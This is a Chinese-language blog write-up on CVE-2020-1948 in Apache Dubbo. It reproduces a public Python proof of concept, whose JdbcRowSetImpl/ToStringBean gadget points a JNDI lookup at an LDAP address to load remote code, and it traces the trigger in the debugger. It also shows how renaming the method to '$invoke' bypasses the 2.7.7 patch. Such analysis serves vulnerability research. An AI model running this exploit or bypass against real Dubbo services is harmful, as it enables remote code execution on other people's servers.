如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

这篇文章将为大家详细讲解有关如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

Apache Dubbo简介

Dubbo是一个分布式服务框架,致力于提供高性能和透明化的RPC远程服务调用方案,以及SOA服务治理方案。简单的说,dubbo就是个服务框架,如果没有分布式的需求,其实是不需要用的,只有在分布式的时候,才有dubbo这样的分布式服务框架的需求,并且本质上是个服务调用的东东,说白了就是个远程服务调用的分布式框架(告别Web Service模式中的WSdl,以服务者与消费者的方式在dubbo上注册) 其核心部分包含:

  • 远程通讯: 提供对多种基于长连接的NIO框架抽象封装,包括多种线程模型,序列化,以及“请求-响应”模式的信息交换方式。

  • 集群容错: 提供基于接口方法的透明远程过程调用,包括多协议支持,以及软负载均衡,失败容错,地址路由,动态配置等集群支持。

  • 自动发现: 基于注册中心目录服务,使服务消费方能动态的查找服务提供方,使地址透明,使服务提供方可以平滑增加或减少机器。

下图是来自Apache dubbo 官网的工作流程和原理

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

  • Provider

    • 暴露服务方称之为“服务提供者”

  • Consumer

    • 调用远程服务方称之为“服务消费者”

  • Registry

    • 服务注册与发现的中心目录服务称之为“服务注册中心”

  • Monitor

    • 统计服务的调用次调和调用时间的日志服务称之为“服务监控中心”

  • Container

    • 服务运行容器。

Provider将本地提供的远程方法在注册中心进行注册,Consumer需要调用时会先去注册中心进行查询,根据注册中心返回的结果再去对应的Provider中调用对应的远程方法,如果有变更,注册中心将基于长连接推送变更数据给Consumer 。

启动注册中心,Apache dubbo 推荐使用的注册中心时Apache ZooKeeper注册中心 下载地址https://zookeeper.apache.org/releases.html

启动ZooKeeper之前可以自定义修改 “/conf/zoo.cfg”配置文件里的 clientPort和dataDir的值。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

Apache Dubbo有一个web端的管理界面 github地址如下https://github.com/apache/dubbo-admin

下载完成后进入/dubbo-admin-server/src/main/resources目录修改application.properties配置文件,将其中的注册中心地址修改为自己启动的注册中心的地址

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析dubbo-admin-server 目录下运行 mvn package -Dmaven.test.skip=true 将该模块打包成jar包

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

然后 java -jar dubbo-admin-server-0.2.0-SNAPSHOT.jar 启动dubbo-admin-server,此时启动了 dubbo管理的服务端但是没有UI界面。

进入到 dubbo-admin-ui 中 执行 npm install 该命令执行完成后 执行npm run dev 。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析访问http://localhost:8081 此时就有了UI界面,默认账号密码都是root,在服务查询中 我们可以看到Provider在Zookeeper注册中心中注册的远程方法服务,目前没有注册所以无可用数据。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析启动我们使用dubbo框架写的程序

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析可以看到我们的远程方法服务成功在zookeeper注册中心进行注册

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

CVE-2020-1948 深度分析

首先观察一下网上已经公布的POC的代码

from hessian2 import new_object
from client import DubboClient

client = DubboClient('127.0.0.1', 20880)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/ExploitMac",
      strMatchColumns=["fxx"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='com.example.provider.service.UesrService',
    method_name='test',
    args=[toStringBean])

不难看出,该漏洞利用链最终是通过JdbcRowSetImpl调用jndi来进行远程代码执行。同时我们发现该gadget中用到了com.rometools.rome.feed.impl.ToStringBean,所以Provider的pom.xml中需要添加rometools的引用

<dependency><groupId>com.rometools</groupId><artifactId>rome</artifactId><version>1.7.0</version>
</dependency>

通过wireshark抓包来看一下 POC发出的报文内容

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析我们将断点打在 org.apache.dubbo.remoting.transport.DecodeHandler 的第57行代码上。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析跟进该方法后可以看到该方法内首先会进行一个if判断,判断完成后会调用DecodeableRpcInvocation.decode()方法并传递进去两个参数,其中有一个inputStream参数,我们详细看一下该参数的内容

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

可以看到正是我们通过POC发送的序列化数据

跟进该方法,在第131行代码处有一个if判断,这里通过RefctUtils.desc2classArray()处理完desc参数然后返回一个ToStringBean的类对象。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析紧接着通过Hessian将ToStringBean的类对象反序列化成ToStringBean对象并赋值给args参数

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析仔细观察一下此时args指向的ToStringBean对象的详细内容,可见此时ToStringBean对象有两个属性已经被赋值为JdbcRowSetImpl。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

当前方法执行完成后 args参数和pts参数分别被赋值给当前对象的arguments属性和parameterTypes属性,然后当前DecodeableRpcInvocation作为参数进行返回

返回到DecodeHandler中,在第51行代码中传入的message参数是一个Request对象,该Request对象是dubbo的包中的,简单看一下该对象的详细信息

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析跟进该方法,然后继续跟进handleRequest()方法。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析在DubboProtocol类的第263行代码中经过一个if判断然后判断成功会抛出一个RemotingException,关键点就在这里,可以看到传入的参数中采用了字符串拼接的形式,当使用字符串拼接的时候,会自动调用StringBuilder的对象的append方法,依次处理channel.getRemoteAddress()的返回值,channel.getLocalAddress()的返回值,getInvocationWithoutData(inv)的返回值,而getInvocationWithoutData(inv)的返回值正式含有恶意请求的DecodeableRpcInvocation对象,StringBuilder要调用DecodeableRpcInvocation的toString方法将其转化为字符串

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析DecodeableRpcInvocation类的父类RpcInvocation重写了toString方法,看一下RpcInvocation.toString()方法的实现

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

同样还是字符串拼接,其中Arrays.toString(arguments),agruments正是之前封装进DecodeableRpcInvocation对象中的ToStringBean对象。接下来自然会调用ToStringBean.toString()方法。

ToStringBean.toString()方法,执行时取出其中的obj属性获取其类名称,并作为参数传入另一个重写的toString方法

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析该toString方法中会通过反射不断调用JdbcRowSetImpl对象的各个方法,当反射调用JdbcRowSetImpl对象的getDatabaseMetaData方法时,会触发JDNI远程访问dataSource

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析我们可以看到dataSource的值

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析至此Apache dubbo (CVE-2020-1948) 反序列化远程代码执行漏洞原理分析完毕

补丁绕过分析

这次针对该漏洞的补丁非常简单,在分析该漏洞时说过在DecodeableRpcInvocation类的第131行有一个if 判断,以下是2.7.6版本中该判断的代码

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

更新后的2.7.7版本该判断的代码如下,可见在该判断內有增加了一个if 判断,且新增加的判断如果判断失败则会抛出IllegalArgumentException异常终止当前线程的执行。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

那么如何绕过该判断让程序继续执行下去从而触发远程代码执行,我们跟入RpcUtils.isGenericCall()方法中来仔细观察。

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

不难发现该方法内用仅仅只用String.equals方法对比了method参数是否和$INVOKE常量或者$INVOKE_ASYNC常量的值相同。

我门看一下两个常量的值

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析我们此时 method的值为“test”可见并不相同,紧接着进入RpcUtils.isEcho()方法,同样是和常量进行对比,显然结果也不相同

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

所以if 判断内的最终结果为true,从而抛出异常终止执行。绕过的方法相比大家也都想到了,我们只要让method的值等于“$invoke”,“$invokeAsync”,“$echo”任意一个即可绕过。我们返回POC中查看与method对应的值是哪一个

如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析

一眼就能发现其中的method_name就是我们要找的,我们只需要修改‘test’为‘$invoke’即可对当前补丁进行绕过。

此次漏洞是序列化传输到后台的数据被翻序列化完成后,在后续的处理过程中的一个异常处理中进行了危险操作,从而触发了gadget。

关于如何进行Apache dubbo 反序列化远程代码执行漏洞及其补丁绕过深度分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

原创文章,作者:carmelaweatherly,如若转载,请注明出处:https://blog.ytso.com/221995.html

(0)
上一篇 2022年1月4日
下一篇 2022年1月4日

相关推荐

发表回复

登录后才能评论